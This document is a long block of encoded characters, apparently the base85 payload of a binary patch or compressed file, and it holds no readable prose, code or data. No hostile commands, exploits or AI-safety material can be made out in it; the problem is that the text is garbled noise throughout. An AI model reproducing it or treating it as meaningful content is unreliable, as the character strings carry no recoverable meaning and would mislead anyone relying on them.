zHF-p3yV#LKL#@f9D%;D3Jd!VUnmlMno-cKpe1IK!q13^>A8topD0PtfNIUXEsf(#> z#*VyD>OkHEPT0Q=L7gMZ-%+$=I(se#m`l=7;wSUE}Q>V4CDh4&P15BXhr ziCih~A$=fSC#9u*#81Vgu+QHQ9)im~IZsUZ*|&(glz9-=3b=gF2#*No2**<|&>zrC z>8#Mh{gL|)_ayfqw}*e3zmiY$<*uJx54+~Oj&*h8KIE2h&D;Ra&8}lFXRFx#nIFIh z@My?L@fYLz=Lh_a=}cv=Db$$_jh3 zd(g6WnY_`S>;`+X>wTT68}%6%s|Ns?gen&G2ZJG189|a7R4q*wQI%SIvax8HHa@C= z{$41YP?h`9GPt*5CTr};GWKL?d$MX088lAX1ArPZ*`92YJ=sKivSxd-oIP3Ao~(&P z2F<(n0HUgLmOa@#d$Kd_$>!RV&9Nt&ZBI6fLIyrLT#|2hFK0>om5XJ>i7qeBSJ7m5vYi0Wi6yqbM46W+3098sZtl%kr!s8 z11fc~9eH6k8swMTkr%#!fZWcUD9m%{pAA8NJ#p$#%?jT@Ao91^kr%#!1Xb#GJMzLe z5RfmoBQJad0r^Th^1?R|kdsaDXoVI+SNH}3p?kzm>V;AVsc-N1UKoZ>C;i&|-}~N+ zexbD+)T|~U;&emB?0t~>ch`E%U?&xziMx6XUL_bp|Z(n0xB zxlftld&alOcZ#o8WI__vLK5ERqrb#GU!8SvXJWCXixTm zJ=y#AWbcv4pogQ~TSWDKWl#2{J=qubWd9-s6E*s_GCi|WLihB&;+d~krm5iKYOyi_GA?# zvf{nHN+N^4W5OQ|!Bpga_GJ5#$cmYKjYL+=WN#7~e7V#fcR=+%V^8+9J=s$PvXc2y z{OoMIDP)x-wc^b4$@XL;?a5BECp(cq7AlsKJ|wbYDS1}DfbN8x!w`bgzCMU zAhi?K!DCJO}p zfe<{n?)GH6*^~7kkwNK-_~WoBM%l@p%tsFSy{8}dj_7)dYNB_ed>eg_`)=~h_l@%%0bT+-Dc>pUVVr-Nat3$` z4p8<`81E+UlipikcR`)^C~v^qQT{;|r7xrxq`P2;K~6eRN=V(r-^2~z0C1f+SF90- ziG4&FTmaU=3WJN~m*u-)M?#%^n7kjo8$FOt(Kpg_=+Ee3s9^l^HE%D#*uk!cvSMziETK*_L%y)JD?%F6GC5B-K#P6Pso~Jy^JPSP& zVJE~O&)yzU_*z&mtQMAN5i0rZ$qv=tx7p^Z)R;^|t}qSF|^VcT51ekV+<`eh87q@b33y8d$bs4vboCY#^#1xrpY|)()AYjLJNF`1zvA~ zpJIUzx4`2T_}&(HCkvc5$HlKL@OR-|{L?mzwS2kZgOtxThNc-qjmA*Q7&_h<>SPS@ zhLH3NK)bQVYbBNYP0`h+=qgk6UQ=|1DSD47dZQ_NgDHBwDSDkLdaWsXjVXGyDZ1Dc zy~Gr~*c83U6kTMBE;L0iG)2!cMdw+)!o@z8jINdp-iqP*(UP&rlJSb^ot|lm&NW5n zn4+^y(OIVGWK(pKDLT;L=n1Ci2$&b>p^bQ3=LOCQB@SFQ^RRIY?W6Xk)@di#?&EujxtV|4SFU`o ztY+%n>)aP9F7MOcbLr*o5$>I-b>1VqUik(20=|VmRd`H#Q955bQj*2z=>1?E|GMb% zJnEUj^r64z_Y}PJSa;gpoBxWxho8*%=NZ>it_84*U>ELf?pm&v3$j16kFe*k$Fn_{ zkC;2aabOVRp`W3(b0De83T|jS+kl$7=Iq$YbaPWGSKHW7S)VQ4NuaII)8=;I++0<> z749QOC=b9ImZU!%iL34z^!3!Pac*$CC5Gu#E>#8DiuL7&w*&Io$~IS5XR_IRH@r1t z`So0pV15N&RNV*i6+%zxL@Of6ia^vK3nf(fL3R{XI@1L?IWz%T)V~m9a!s|>*-AZ& zscfb)n@i=I+rm>=RaRWrbqR=PqO;L%8T}ZL9%pBLPss`!xWq0|u5Y`nr>b+c6Epda zc>Cx@i}_v*N@;&?UtL+<2pxBQ(9_D-R)hp$>0CtwR_=x4s_Qi1lkfY1WmFLMq(2r+ zsKOB(Tw@^74QttemC2!sK*FDdolDZi!Z7Bseo$&kpOs0e$zK3I(1+tNF`85*?TF%T zNvI8_OI{6YL!r>MEgB6%@|!X7&ZirNg0<4D$%zy^_M&>w}}5Z(^6rW4fBk^mfQHvomDo3IA&Ik-e^Y4ZYqCi&J^@)hR+knTlZ`eCn@*7Ct> zZSBZy;?m#N0R&BMLaDn^=i_W0Gkf0oBZ_98+i6Mjp7r2w)0$SyRM^V^i zolse=m+}tb1+-!anSkDFRORa7K?sBwfZhf)AFxq71dpK_F0eo01+?8US`6VJchx;a z8A8n zcz&?o18i&pu-SS!$Uh^J!_$K@tUbM$%C$i7I}*v^*(LR77Y?cX6iEGff_7iqX_9XR zz@1<-r0pUQx6Al7APy6VVM`V4fCLv7=qK|J_{LC^2*g^v@^wD0dhUaJrgn+Ikf5}K zYdj=?VNqdo&IAx%f_=L~EiJkcghBZ|RtYT}WH{`Pz{{2Y4&vm)D%;)XN=S1YR@tsM zFcOs3BcFKN$Y(V0#Xj8L#gS57Dw``EC_ylaMgDHMrGDDKt@8r^UVdWNtA36w^lIq} zamu&Qw~w;Y`=Y!-+9aJWiDH>22!HMToCr7(a3bJDz=?np0Ve{j5tucxrNTq??>;-| z>3;%z(XZc@4NYOu#gwwt`hP*&5_SPxi3V^e*q z4*uMfNo5-w;BQjd@#VS3@~Y=XlzSNpoVtYW^yH8z{aGS$7H5VW7;QG+#!rAvJ+dPf0xQic<1#kk-vCl zCA{HuOZcx@S;_9Rt|dfRS=sHWL1SBj1eLYZ7D<6miDqpUS22~ft|dTtXIr)nM9IMm zoz-6It@8pyZvFb@3D<5Ougwe4zV9gb$N4!Ca3bJDz=?np0Ve`Z1e^#s5pW{lM8JuF z69Fdzf13!%G~1o2&rf?Q+M3Re+O4(D3*3@@@tZq)zJ87{<^e8P23P zF$>uF>?k(Eip=|Prr}&T=Wr^2oN$=12fvQF&ohC0!~K){dG~dmL*P`z?}Vp?CGN@Y zqlBFJIb{7k_@CKtKlTJV9SVnQv=bd8!B8L(353fdkyx}m60b^@r)m;`@^mDTh-M<` zL?~6m&qFiMMl;VxGx4YF-m6^`b;|AvH1k0;b1C|c^s|Ujk=M^6M%~dv=zKnpW z(ahCo<|;JvX*BaGH1kO`^Er))YM0K?nbAxtp2$>}hZFHod88^6D6gunN|gs{Qkkl% zXds!Wu2S&vd;^`&*U`+E(9Csc=8I_NvuNfsXy%(}=4)u?t7ztWH1icS^JO&ipBfWY zKBuFZ)6mSRXyz21iK!iWyM(%vP)n|BDyC#bH4x0Hk`rh?70_Jm}qQ4PP zO#NMqisxK(Jm;X9v(e01Xy!sR^FlQ90*#4!?#s~3d(h0~dOk6=Lw|3gp1aMpbMkR=KvuwC z@LA~=X&#(dI7He*+$_FBpG%LWhcY)Zvzbb!AAhm$UElq_OMN-tu`q)mDW57&DAy^| z6;+8T9lc+9pY`6vJk5N;?!=CS8GvipshrGy%03RK9Zcp%Z~@mbFmoVqo4B?71pWwq zKb~{F?^@%!%$1|NGMzm?fOp|C&wNiBTmpLtKZ8f$UBUuktZ=Zfhx<488}1eE3*B|@ zVeVdTihqY+CEfzQhoi-QV(H0;+RYb!d$GeUHheRU)*N~-CP8UNRrQ%Nc6jOjm~E^* z%aGpVM9!GEoLv!|&IpbV!9mn7+J(3dWzC`fV_n_%%vfKCIR(Kv7Qs0b!Re3Sgb|$H2u@D~ zXJ-UQLU1^14!s${`3S*TkKjCp;4DXQ5bZpDA>ukS5S#`C=N|~p5eQCS1Sf>xltWkP zalLPoH!#{pmxha4Ux(Wl!RdkEbU<+AEjd;_9pwQ_hGlO_x!dv@cUm%TwPajj$vD@N zG1Zb$Z^;;C$vE1QG02h;v}BZ7GIp_Kh*k{mW=qC*mW+=r8E;uKFuj~hw=Dg-CtEx7 zGinina~^_oE`oD5f^!yvGuyg1Fv*%yXH7|2Q%W`_kw5o?zeL zI&nvFXR}rE74oazoxF#8=XoFT{-(s0Cb?4XML!{ZCS|2N7)tzIN-%xJv-p&j!_ps- ziwC%u6pvIpnot@lo`SIpskC@*-*=?a;-M*z5=u*avgQ#m$5=u)Bw0nzC8iZ8AHZ20@Gd7S);pr5l8B%G{xa?F? zY0++Q1gW%mp4EM%(&7nPOG%~i{Fz;G)w_gH3iep~`A<+JJ|>kG&$rs_-b{J)`A{-P z$hK3w(`33fi=aj#UGe1ZGYIdsIm4@?D$naF6s;8L%hW$aXB0PvpSM*UN(-qBTiEa^$ zxiq&u=u3oE8LalGzFU9hDcPc5y4$y%r`HLjsX~0TRH5^89;p<()--8Mm1mGj!4*)G zf(7+TQfa}%6*5d#bRkSd)r+syV$$&)wAys!_zrHh4+~=wTAWtI ztWXD&P{(($GS`%9$o|8iGULUCjw3coCr7(a3bJDz=?np0hJH=Eu5G)S_z+N#N4%S3damn!=#6-#Q z9mGV*@g2lO$?+Y;M9J|T#6-#Q9mGV*@g2lCZ2dib2S=b>UXp7v1f1a`n#Tc-X*yXbDiyans@Vu@MrRmgIi#dn$P}9J;hFCAE0^W zVP-SipC0OagkhM$%uISN{h0ECa)EM;(!u+(_ag5I@6PgT@}=@fc~|Kz=}PHTX*Y3$ zcr~~K?&;Y$fTO4Z+>!lDcZp?B&*n1qmCX}!we^|GYz9vMO=nAYinZJS{h|$du(-{5 zr5$;33;9Jh+_baVj=Z?PDP~XJy2oihJM!W_r*6b@*jkJ*uf6F~@eZUt5E+jiu| zZT6oC2U0t4)m+%PX1KVqywZ-mXlQbb4SC7l^uc!I#r^3ad-B#j>U-Id=No}QLRGrh zlxu|{rYe#hdC@rG4?FUrC(QSKx#9gSY-3wrJbAN|;?6~pT-&yL(MPUr+rikGTnl@^ zBmQ7GsqRXwjlfP=Z6{+y-4l8cNupRqU<0nEC4NTjObpf#%iH+^EVU^wZ1BI*j=bm( zu)vPI=n*i@jy#mN7>KA!1F;q1 zIxv$cT3D>IlX}sM;z=9w61%hYcH~7n3m8cfjv}>QgkI(~ON(!a-;B`K6ubx+axIu^ z<$Vk|axL_v^ID$xmfKlz90V`)%S-14b_>4p`&}Eb}2g- zP7O@39er>4R`|~Mjr9%j^-z9N)+tMsxymRd0p|;R;eFD3jrR-~?fbogyir~QCl^eR z50iUIo256T<Hb)aVO>r=1Jxn<_u;8<7WhVBfW-ROi!Q> zqkB=CU8`Lex$0eqy7uJ$H$cVGAJZkpf3KgBQQ&x7*}j^|_iuCCu)@3}g2|K{GJSJPM0(+dBs zqzBV`(Jn0#+HY_6$gM^fTTVtOl_=IRDAr&UD}-Y0g<^F% z^&*P(7>czL!;k zN3mw2SWPHa8pS#h#Tt%c4Med}C0g!^x)y5eA)(5u^erYuX%mWd6N+^)iZvU>nt)=B zLa~lOu`0Io9UNUXVaSdAna67W0$%s2hQ5OUIX@=?P6V6?I1z9n;6#8R0`)EZ1nS5x z9hm+nSWStINi~njOqoU>(7G}q7#I;K{bY_=t?c*?+OjeW!UtyUtb&A!2{KrjB|TLC z?vC%^pWe!h?7`Nx#06@2_YQQs+PaMc8ruxNw#&KG@g1~PS;_3_9N)oheHCdfz<(-} zP_hT>_zvzM-@!Z9FS>ZqeaBtt_zn_u^c<=a0Ve`Z1e^#s5pW{lM8JuF69FdzP6V6? zI1%{EM4+AT;DeCucD{p83|rH@cc(r7(0m6^*+IU8;^#Zsd60S!{%7{vk3E4-hr;2S z-s}lX1mjmR56wIq%{(8?T%<8kK05cJnU3!u#<|Mz9mGV*@g2lO$?+Y;M9J|T#6-#Q z9mGV*@g2nUZT_CVgMCo_CEa%rvmiuyQ17i_T)Q0KK}@Neh3@@2zJr)j=lBj{N}c07 zh$%~&?_jMqfNu32ynEW<3xg+?9U;0z>R@UyCA0`*gpm7p_tWl++@svRl@Ur$@8{lo zy)#`Y*A=c;c$pu{Pv=+i-*7K+mnloRO7=@`ALT=K3cJGB!*>GfVTbt6XZB`BF_$vy zsKvggXaV-}pF!V4e?h(IJ=CknugX`+)p8%{TWOUvLpntAitEKI#VWD4=Nr#T&vft- zkcC%VVgg(U6Wri-E`;e+E>)Gvf&pPJm22L@f3U>DZ#aRlo#n*0WWu8FUYu0e>bTdN zOjz{V>rN&t8WeiTghgw@KL~{2>sK^nyqHW_Gz6SaCM;S3P9+l-O#mm535%YUtH^{! z-@s)=!cft4?^7~i(d_RXGGYEXYQ}IfnXt_gP9dwvp`w#rSF#j~27F;MVKVQ}6;zcW z%GuOOrDh{0Z4Q(-s8&ILC=gf0YV#D$(RNK)>AG>{K>}erleOE3g#~-HtH^{!W3}_h zghflW>14v9nOY;6uxKthnoL-@esi++6H z5eZA2_()#mV4_#_;3Ihjv~%Cvl`N}8-#xOPRf*%?AfgmYy!H+w6Bb?eP9hT){q-_r z!lJWYmP}am)SE>nEV}7kKqf5u=(Uguiw=4uFS2&td8^4%EV|}BMI-EI{EQJc+eCjwEMzin5%C<293Gnj?lSOg*{n3^c5_JgtMo~4eqTfHF&LJXet z(2fNCfe>_FdyxtAV+nW&S#fGw;WVgu$YT_%%dA7%&Io{zxLO zdJl%MuPB`tIDTfL*BPTeo+L8IQ)6HV?|H&=qvuRd21e(5dtAat!V|)c!kI!w7%J>7 zxZEGPpK#ykKGU6X4|VVDcDXjYHn<*gEpbhEjdBfe?apoHHgFGdOStLWC~g3^JG&Wt z03YM8<7e@s`GNfIkU(#GJa`O#L%+a;m=5&q^a9^|z6X6*`cC(qqDDz_`= zDz(a?%H9g={lNRMx5Ycfd$KnUXBm7iza-x&pC^x(hs*oQF6l$*5$S4anskbkl)8vN zim!-wix-IX;^AU%(e3$&J(I0w2eUny-Q^(u#1B72yc5vbe2eKkZhbWIt_- zdakLqI$OCl<6}$4CQHUfOUApFj5jP9uUIl(uw*=A$#~q7@vtT1!EG>lvV%)|>st(k zl?N^G+br;_Eb#Lz@aYzKqXjW5P_nPDK9~Stx7Wju2_^TH9Qx^DY3*4d^mRq*b@{g@7>DRjc7RBmipMcIL4 z8|yO%){ku-(|BMt7&IN2t!)_7T$gI9&7EFe)7Ug7Q#P%2DS#axK*x8mxgnQnn$qfT zH6hbfUz^Qp6YcOMYHI5;We1eiG&R=4vuJ2+s!!FypPMqNY-0obO)5LSJl9xW)m&Sb zE+3Q1Y2<7sFRx7l0kbF^G`U9LHa9e7vf3j{Dbu(C}j>iU6Ft!+ZzDwf_U>L9=K%zJqbe@g2lCS2@0em?$~EgP15e zzJr)3IlhCKC^^1^m?$~EgBUNazoG9S+9U8GG}G}N#FVAkXg5K}cM#(Mw+dZ89p6Dr z`E+~-F{MuP9qgnHpj&+hSB|1KpML1UqR6hMj;7wE*z?$wZ@upp-&Ef*zFx}D%Ja%K zN=_N3^zeS;ecXGQx6V7r+gbipUL#*9r{#n!OYci7r1{dRQb6LwH^gP)OmT#`pXWEv zI?oNB$(|!Tdk8-WPYYKG6NH0>uI?|~Yuy*S$GZEucj7*pO9wr6;hQHfvV_#bsSz5Dw?VtM4&2qxJ8Imtv(-n6R3(tbGwqMG=~rH z6!8+Mif(u`fvRXj@*{z&XcG9@{@lL0<5qQJHdmQz%%$o|mnH`*BJqj{IC_QSs%x|* zH_^szfqesy)isBJI~yAj2z~xZN5GXOfmOA$;d=UODAZRqu>-Mm=}L&hr!b* z=8r@}Dq~SqfE(Ajk(kPyYkA#7o|{maODwt2utOdqz`fdv3!ZbW+*>WV@N&|wn^c+m zEV=N~)Z!3Ona3=-5Z(fJoh274l*SFJ%)6Fcunp9>@GL&J=N1jCEN98h zKR0MP*$$T6{Br}3Lw0v7F4*De_XgbkExGyUrd>B-$t^rL$nQ`~ZsEDXb&s>;7M@#7 zWh*VYh35v`I!kWhxy4oXbW3jGxg}I~o+Y>N+<<$LCAaY0k}7)*f*X$bqXD?L+s(P~ z&>|I)h(8hvs9Z-&E;#EIxVu?$V|i{+<@U4WLiaC9k_*o* ze_fZ)k_*qRa9xWwRVz4JH#ZngsxH6fb&K3`OD;U)m_HPR>kcH~4zT1xd4TIe``|i; zfP1thw>acT!7$=CZT#FiFYwuO$K5mg^?&@Ntrs|rd4uwO=zG$4t8am?(RUp90CrXW zqij$fQEpJqQpPDqDgmXF_b2b0-ZkEpIbuboJo=;5Kqk zaJO*hat++ET!ibw{>r|~u4S)h=drcy5$u6%N9IT74f$Squ{=p0DJSJ_(to6Pqz9!X zaHc_}G*Id({vp06J}h1>&JZibfnrb3AD;I-4|}fm%QyPAPsGmtg` zy+4|PpP7O0nt?Bwflru$tIfdM&A@BTz)Q@)v(3P1X5eXN;9+LqP%|)L2KF%ndzgWW z8AzFc@^@z7CNuCgGw^9M@P0GUtih0%m?;|&9&QE>HUrIyiQLUh zY1UxK7RH*?FXoPXl!fso^|gima|`?<3;cZx{A~;TH4FSD3;cNt+`{pYdelO1VN6R| zIBrt+SX}=O3;b3K{00mBY76`d3;Yrb{6Y)-%-z|+rFPd_*rJ?a4mX;^X><5wbNDE8 z_#kt*uQ?nxhr5`=9nE307Df8rq%D#@HUn=l0~ectbIrgeGjOySc$68~&kQtsZ%bXx zl)MQj{$K`fGy~U}fo9!x(d_LjUSW3G`DWlmGcauin)S%VL1s$78EDp<5=9fG=NB{Z z(=B}m7al#}OZlv;7ij(hK3+BT9R%3k8;#-~eQV2V@U16WtQt@}OG9$C6b9@K? zGFE0}54Nr)E>Od}Z_!@mYfrYhx*9Am^XvWeqe;O|bJ}**ps_76g38LYudHMyZI18Y z?4AUUi%rc9u=1=S*VL%_pcZ^l>r)NQJJ1(3)tqZ=XsmB+&TgL{->h^?SZ|lT1UKyX z4#pFi>hf?R9x9JiWdh|@)m5qTKuzhJHAqldJ8e-};b7XZKLjg+F;2O4Edj!2Xv?;N zC^_iNv08_&b-lnHciqsp>w{fX$9E9f&2?x_1e^#s5pW{lM8JuF69FdzP6V6?I1z9n z;6&gr6@hlXgAYU2U0U{A=LN1Be$GdG%|54`fxp{FRN%j~=zH0BgZQKr5-$_SiTy-H z8m%nx{@@+w?FV}X-j{RoA#zvgb7_tDN$Gs=WxjdJ^S&{@VZPozQTdlLLm90MR?6f@ zpb&44W1F63eO%MUidq*x#*CN+s z*C^M)u0F1vxSzOpxJO|>!uec|Q@KIhKAg;c$G*Wn#NNQ3!%kpNWc#sYtiXK5tY_|L zu3_debPHDlhC{jfZ35ScsZu z44r8V%{7MR7(=s-p;^Yz%w5?yz0J(eFhr&sBGU|!sfNfDL*xuYS2qjyFV(GenLx zM2;~;jy6P&GDMCvM2;{-4mU&&Gem|PBEt-kLk*Eb43VMRKthRdFdjVE5IM*Y8DfYG zHbe#)A_EPP0ftC_L!_S}($^5FFhr7uNWu__8zM17Bx;C643V%Q5;8=BhDbm|pcigh<>_4{ZC?$izL^KwR%Vz`p;8t)V9!$b*1Uw4?{uQ0G z1#lk;osEg8*7N*WW2e*A!Dw}Lb$KM2s49=75~=c3Fq|llRfl6$Rq$vssSN)gVC$}= z>0}@ojl*3hlYv-yBwCf!?mt}~jAW|Akyur*Dj1ghz+R_c8^IRe1h(!Ai@CNq7udI< zuYDk}Z^W`aZvlI`@#F9Se8yIAJQfT@BEbZ&`I23YO-q;u>`T$?Ah73R+3t6MJp#=> z3)o+1>`YZ4nu*uM%fT-PzGg?lvGPPRSW_OVN`|6P-O{N*id_rr4cKc-vw^+4&W=Rl zshUu-JQURGZ7LEhPbFfR@^mCwT~i%MN7Csu|0u9eGYqin5rD@S!$SccWe9W60DQDD zd?dg>YB|NUNA$kHK7Xr=#ggGzBpQvR&YEN55*#p2s;blzQ(XNcn%xFjMixE zw>2CH1mm%Al+nJvAG;OYmNl(SxyZ0(E(f%u7KJ#*f%gqychJ}oj635LjSc^{%?s?} z=hK;`=e;U=WlDwf2wVrij{ljirF4yp;ojix;O4?e{5XC;*Jjsx_fPKU>5j~O%mStg z#?lJCiN2q{knYDuSdn?3o$q^%`V>av0gh+iVVAR`l)IF9%BeoTk5k_A&GwCy)4pZ$ z`SL1xqg)~HBz-KcQ9_E~-Qd2?J=uMfyBGf}zmC7j(?j?Ud(7nob1cp#ap8Owt=bGxtO@`=FUSqnW+Y%>B^JebLN)&`iDOfQo!C z^fmWFGt1D-ay0V*G;@D6GlpjR(ab2C89_6{Xl4k_45FF4qM2RMOuaveDxZ3<7RA)t zWfW6y?@>&>myBX|M&G;MJ3w7?H}o}opqbs#%x)SJ^`1+inWNFnN;Gp6n)wej^HenR z6pe{`ntPy`J<+L;MKi~snKfu;2F*;Pnbl}!6`EO(X4avZ%NiD+gsnmI{hh9kk6NHP{JuSuq0+*p$emsi1jKzTfstV&m<1Cc;g zzz)aK~gom2SM?$^9||Ac*y z5Zy;nC&RozejKii!CS}fzGc*>+NhrHm>=OQchUV|Y=6F-rfanM0cnvoM%QKl@}vCx zSl#!UyO%g5KZfUj-I1ph3OVXMxGU{ns|lZl29Krw}t6>6}xDiIQ_pAtp-t z_bAjH_*2?@4#j*D&3sN{VmACK52Km)!#k-DDxYtl^Z7cO`4XC`e>X(s^F{PEpG7mD z5xXLz^d|b6uc4W*qM7T_%vaFNm(k3BYE0DFV>+5S4b7YiU8+8))Tijz#GHxs06O)V zXyy!b>JOor52BfC&`kY}fNE{-L|;>X7o(n${#6^r+z}(*S^6DezFsawGcQClFVL8% zwr&}kc@LVoT+b(_cC11(SE8Bsp_%uhnJdstJxZuDkB`#bdg_?6O`0q5Z8)}^>6X;RUXz3=xYXAzu@~`^DWb62wLX{www!~ zKBYU-{a^(_jkc0NTT#HgpI=?T&Sytys|vWe#q|XF^#Ix$g!bzNit7_xOJU{0iP~BL zZAAdAGSFuuTIVaIMfvpu`I!viMqvuA6&8!7CK?6RI{X{W{29&s1?dDq2;O4yH4#UgJJL;4)(L&hj%a2F zG;=33(}!j%Sf=zbn)wl$xe3kuP-CLXy#6*sF@J~7+HV$}n*4hH%eB-|%*)WsOVP~5 zXyzqo=EWKlQ|6_&(9Ac{%nfMfyJ+S+Xy)4*6SW^gFP|u;UOrJw{k@4|>hDcVN#^vv z4T`DvZBR_TuZUvmeMJ;g?<=C1dS4O4WbyrE^xIJS5nYykKr_EbGrvPKzeO{@K{LNb zGrvMJzeF>?Kr{b^W`2%leuid#ie`QSZ<%hT^8(b>9S;3)1ru0^%lPp?-3`9{YA#}lxKnGSkErP+rl+)CSf1<*Wdwgx_f||<)7xygS`e_ zT<^H9b=A1`=f2_Y<<8&+avb{%dp>(S+m(5jxsDm*d%|~)?`U6VHK9g&ztM=FiBNgp7U#`01K(^^t#ye-uyNTr3+1QC9g zR9YxaAbpWg3U1hX8HRgZPbw{xrkF~-Nh&Rrrm#wFAe9zMQ$(dcB$XCQ6G%TLl@>}9 zNWUbN7D^LHzay0vN)t%`O)4#vrl?B&Mk+0orl?BOgwjxSl@>}9NF`Efp)`SX zCsJvlG=X$yQfZ+yfwUW`v{0Hr+LKgTC{1yd?nNpsl%|AA_a>DVN>fs${iISTO+kMI zIz4opPzoo;ha&!HG^WzSNTtCx>B*$hP@8ldsWhCILWHM~N+WqGM0f$IG^$Ir2$S|D z!m+$GsM2?krW$XPK1?c2p{PzRGLVb~D!!)|%? z2vTJ{uZ*cDkt)I5UQ08sR*@=`d1XSaCsalQd1X?aOjIPGCx(JH@UZwK_4bwZl z-m%;MZ;I3#RDbG9%6FWvtFl44K^dn6=;Np>z2C#w{d8|X`49O~`Am73EJ-g&3#AcK z7x68zMI0^e<@wlitEbL$Ah-hDD@+#px;MKYanE%h>K6Hb@)z>Q^Sij-bY11Dbd_-* zfg|8}&d+|!u3#sz70mC%jj?3ABV$@;2ev%nN?GY! zK%KGmK-5qitq3P70#Sb~6jJ2~Vagy*wu$=_is2ar^XFJ3RpntqakL@=<9#jL5mi2h zTns~gO&nI`QRHG6NNeJ#D%X*VpL&ri=n;L1C~_f7s$o=5*7}q@;l_>d zfa>MR#d>=k4klD@XL2#L*dc!$Du%brjyM|e$0LyK0HGKPHazFJKazly`;v>{IcwsG z>LqQ%AZ2*Yg_H-9rwq?o6USBWU_0U{L^~N$y@wEsVeTdx^hbkX)q6a-IM^mWnOqES zc1Rie(%vd^F?5Lw;_>8S=oE+ip(s4(N#x>an|KbnIMyb7h`;xJK??vqZJ`iXytkMj5Olli{jI{1iduIo^j$o-SM zkUO5+g?&>PEeE9ULGn92iLRi(rB^VwFyk3NTgjF&ANd~h&GQZS$?R3aUha?Gx4P@x z2lC&+DFj`Fw}cjNFZmOBsa(JHHM3bQckO6 zE{4%r&<~!DsyKpN4C8-IoKVFYaxn~6G;vZDCzFdI+VGawQr?|h422{Ji#p(*Nr!gu zsGxX)I1yCEA;c+1w4tFt0fS1<(}ZFuVNgh*ghfNDbO5;+3W+8TtI_~+F;t9#n0#&v zI^McCqDrI#EO<-jYZZ)1@S-0#n7`Uh)G8(T8FAl`~i8&(6fP*gRq|LD?)Lk0v2h7VHBQ7s-6aN zF--af{fR(C^-LodhbqD$y&3W>up@>Urf?vrdPoP-aL>?gLrVf@E_;@erwr}3CQhgx z^5PkUHmuMLbt6t0zS8QC3bGv{7en#Xo^wp~kWNoQeT3qviQ%3}+b|GA@hp_EN^gqj zgN8Q7(bg>{q6t-4NPN#)1DN!KWwt8(gHWtBBl+oOnDq6Niwm>l|LgBCkZq{Xg=UC! z<^jY|pYtt=ERf%`-ZMzTa!+|@a&i7^NDwCX$)}s4VrX9mH1U4KDF>l3fGPxbg!lQbFT&%w(_2>Kv zu{e}(J>$>-K0_|fx7$!9h5L!c5oiFl7ajBr-Xs@80~qip15wpO`pFF5&-z$W8=!bd z+b|eoK$p2Nx{+bTy-^!=xB3fozri=GF+KBFk^PaXq+X|754)~(O>!L%-T_t00HvGv zC-2MNJHYk72G;xUF8?aOCNBri!Eta_VVShq<#&0wP29uW6}Xw^8|A> zb2@W8Q_i^A7uj3cIqW~!INO2w7ySYK0DTGFNDuc+_8jLq0M0giU$|emSZILk{!Z`Z zS;9}@Pv8&aJ+2R><8fO8P{W{)hb64}$UxlDa!^MqV&eWo&-scvjY zXPLuLtPv>IC=82!3B_8AV%>>iEkUu)L$UTovGzc*x}#XTpjaJHEE&a`ieimNu~Zam zIEs}(u?|GB`ta9M9ZKdUv#0lBk1U<2+-7yD#*jv0NJnBwLolQY3@L;m?Sdh7z>ws< z*x{vZPkzfxyOm1b4-uT#5uE1`oQE-Gf_VnTT7zPtS|$cn)0igl1o5dtdU4UZE z#XLn+m1sbv_ZEuvJ&N@eiuD@6+CM>E-Sb?wzT1 z-XpwT`33m`*N3j_gvX>8rSqjDC0Trq-jD6hye_&tk9uY>edw?GJq0g4)}40u=D*_a zfprJ{dB*jWYk})n*Dl=K+_hXS7i52CA7Re{4}u=dN6a0}BxVroDtLz0&Vi&V(fcK| zB>*u0QT(EPE8ItnP#%C!v`K#$RuH&n(AQJD#<{`Za8O*%kxu1ORgkS%U)b1C3T> z-@36OZ+oCE^4IJDqUt`7uTYHZpWhhKn9fw@noWM3dE`>L=4|V=^0|Q302U+NBip6B%>iU->RM>q_Jyy5OY9Qm`nJ17sybIYF;iLH*xZmSRl;JRV!juH zQre%}S65ayW^-G|EC^eRDk88K3chiVh;+4xmM`F)j=4>Y{tYpU*@zOONI6CeKaLeHG=g9#Sa5J zL$(jyW;HS@qcHQT?_-OpCyT?lFA0ih$x`s6Az52Rv{2B%MBqtV4;|)ji<7_qhD(q) z74UJRu!K$I&!VQ61OP6#7jYTVj7YTh1HMch0v8}HL)v%Of&&VuZz#!)Rf|!wZu$XX z7&U`9=cOMZZREVz=o8-JJ<;zpM`AT z3#}FuKCRV?tHK}<*Aj@^Et%1dn6Dss*06@Hbr;479*)9q{LZ&GB`bXzA=`uv2DCQ$ zZMxd=Vh0iyGwoww+vlxM#9_pFFIilbB+on4uKY&fqd@yC@jC`~(ZU{sm_HJYtLzMT zXf*L9;B5*2MEyzF=j;;T61|Bp5vqXA;gOL39hu)K??lZZz67+J@E8kAOCE<<*l0K5 z0(qCG&Y-`Lpd4tOqp-Fxrgf{i1Q)oI-~w7HhDQNg`n5-qP+6^)Lb}yXD~6B>SVkIE zxq5gIq#xCxw*k!u`&9V3^#(?Q(t6|*ZyWiH2EN#b+q*bYs!L_t23Cb8t61dk zhFj{V{oA@;V7FgSuKeh#=3g}5jh$ToqI?T|`zR~DFUlLFO|X|h6w5q8Ar5B-oXW4| zRUkM&Cjw3coCr7(_^U>su4SM=4e#E8?tenbtmif+H}yHXOw*KUuGWbegn~JJ zsJdl~sQ%q&2MclE z)>LJGK?0~YGrp9`}8XBAGQ+4p?rc5f^*Z_Z% z%8oD3HI`R3*Vd)W$E0!^Ih)DLYtul$6c5nk8iCu~(3Ht)7RI?udix>ooLue&;<2 z?!2kF0cO4%a!rleEf#LMKGo2?18+IioNH`otZ!`2Zs!fBTN3&WdkJoMQe)Hj%6cdi z#oMhOo65nTcFgnDOUd@#XI)F2uzB3B8Z@>gMo?Lq_LUWelO%2A#FpsarLq#^!&_e6Z}chJya4U{j)H%jpA!Km0!{>+2sjaNBH%>8iGULUCjw3coCr7( za3b)xiGWPA-I>BUf67|8t&ZBQwayEKf;W#G@LJ#xQOHqnxD@623VZ;r5EqMea)rE; z^s%(Yw~YGKH`_Oo?&$OTIOQ$nF1nw*3OokVbPZF*B&0>sSZM(G5uB=o6v4Z}y8_$@ zM*CiK_Y#LloyE_^wfwK{qZox#<&9i`<6S4Z4sbEvm{+Fnr!QpRVVCp!fv@3u*HYI^ zdK0sNozIS9Bdo~0&)vbz348GCnEN~vxHsHC!Rm$UJcoFCzzGOX3rpOS zDcDb@|Et~DwtxGvC(!9oI9#Kh=okrthg~EPE{{ZF(eg;VDp{VYNd(H%kwhYziKG*u zR1H55%{&{;JRi+mq%lz^_uh+Uu0S&%L^GFaOjJDevxrg5i_ob*gl0aEW(ahCo 